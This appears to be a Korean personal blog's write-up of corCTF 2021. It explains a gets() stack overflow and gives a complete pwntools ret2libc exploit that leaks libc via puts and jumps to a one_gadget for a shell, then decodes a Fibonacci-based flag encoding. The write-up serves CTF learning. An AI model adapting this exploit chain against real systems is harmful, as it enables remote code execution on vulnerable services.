corCTF 2021 Write-up

728x90

1인 팀은 항상 힘들다..

 

이번에 크립토 1문제와 pwn 1문제를 풀었다.

 

pwn에서는 Cshell문제만 풀었어도 좀 올라갔을텐데 공격 벡터를 찾지 못하였고

 

rev문제와 web문제는 풀지도 못하였다..

 

공부를 더 열심히 해야할거 같다..

PWN

 

간단한 문제 ROP문제이다.

int verify(EVP_PKEY_CTX *ctx,uchar *sig,size_t siglen,uchar *tbs,size_t tbslen)
{
  int iVar1;
  char local_108 [256];
  
  printf("Please enter your name: ");
  gets(local_108);
  iVar1 = strcmp(local_108,name);
  if (iVar1 == 0) {
    printf("Hi %s!\n",name);
    iVar1 = printf("Your balance is %d chainblocks!\n",(ulong)balance);
  }
  else {
    iVar1 = puts("KYC failed, wrong identity!");
  }
  return iVar1;
}

verify 코드를 보면 local_108에서 bof가 터진다.  만약 ivar1이 name과 같으면 printf(Your~)을 출력하는데 사실 이는 필요 없는 부분이다.

else에서 보면 return iVar1이 있기 때문에 이 부분을 공략해야한다.

 

하지만 한번만 함수가 실행되고 끝나기 때문에 verify 함수의 주소를 ret에 한번더 써서 총 2번을 실행해야 이 문제를 풀 수 있다.

 

처음 verify에서는 가젯을 통해 puts의 got주소를 얻어 libc 주소를 릭 한 후, verify를 한번더 호출해준다.

또한 libc 파일을 주었으니 해당 파일로 one_gadget을 획득할 수 있다.

그 후, libc base + one_gadget을 해서 one_gadget 주소를 구하고, ret를 덮어주면 쉘을 획득할 수 있다.

from pwn import *
p = remote('pwn.be.ax', 5000)
e = ELF('./chainblock')
libc = ELF('./libc.so.6')

one_gadget = [0xde78c, 0xde78f, 0xde792]
verify = 0x4011b6
poprdi = 0x401493
poprbp = 0x40119d

payload = b"A"*264
payload += p64(poprdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(poprbp)
payload += p64(verify)
payload += p64(verify)
p.sendlineafter(b'name: ', payload)

leak_puts = (u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')))
leak_libc = hex(leak_puts - libc.symbols['puts'])
one_shot = int(leak_libc, 16) + one_gadget[1]

payload1 = b""
payload1 += b"A"*264
payload1 += p64(one_shot)
p.sendlineafter(b'name: ', payload1)

 

CRYPTO

flag.enc

10000100100 10010000010 10010001010 10000100100 10010010010 10001000000 10100000000 10000100010 00101010000 10010010000 00101001010 10000101000 10000010010 00101010000 10010000000 10000101000 10000010010 10001000000 00101000100 10000100010 10010000100 00010101010 00101000100 00101000100 00101001010 10000101000 10100000100 00000100100

enc.py

fib = [1, 1]
for i in range(2, 11):
	fib.append(fib[i - 1] + fib[i - 2])

def c2f(c):
	n = ord(c)
	b = ''
	for i in range(10, -1, -1):
		if n >= fib[i]:
			n -= fib[i]
			b += '1'
		else:
			b += '0'
	return b

flag = open('flag.txt', 'r').read()
enc = ''
for c in flag:
	enc += c2f(c) + ' '
with open('flag.enc', 'w') as f:
	f.write(enc.strip())

 

 

Exploit code

fib = [1, 1]
for i in range(2, 11):
    fib.append(fib[i - 1] + fib[i - 2])
fib= fib[::-1]
print(fib)

def decy(c):
    num = 0
    b = ''
    for j in (range(0, 11)):
            if c[j] == "1":
                num += fib[j]
            elif c[j] == "0":
                continue
    return chr(num)
enc = open('flag.enc', 'r').read()
enc = enc.split(' ')
dec = ''
for c in enc:
   dec += decy(c)

with open('test.txt', 'w') as f:
    f.write(str(dec.strip()))

 

규칙을 잘 몰라서 꽤나 해멨던 문제이다.

피보나치 수열을 보여주는데, 001010101이런 값은 보여준 피보나치 수열과 동일하다.

예를 들어 1 1 2 3 5 8 13 21 34 55 89 가 있다면

0 0 1 1 0 0 0 0 1 1은 1 + 1 + 13 +21이다. 즉 각 자리의 1은 피보나치 수열의 수와 동일하다고 볼 수 있다.

 

따라서 플래그를 열고, 띄어쓰기로 구분을 플래그를 나눠준 다음 피보나치 수열의 인덱스와 읽은 플래그의 0과 1의 인덱스를 비교하면서 1이면 그 자리수의 피보나치 수를 더하면 된다.

 

이때 피보나치 수열을 역순으로 재배치 한 후, 수를 구한 다음, 유니코드로 바꿔주면 된다.

728x90

'CTF-Writeup' 카테고리의 다른 글

Grabcon2021 Write-up  (0) 2021.09.17
DCTF 2021 Write-up  (0) 2021.08.23
RARCTF 2021  (0) 2021.08.10
2021 ImaginaryCTF writeup  (0) 2021.07.28
redpwnCTF 2021 write-up  (0) 2021.07.11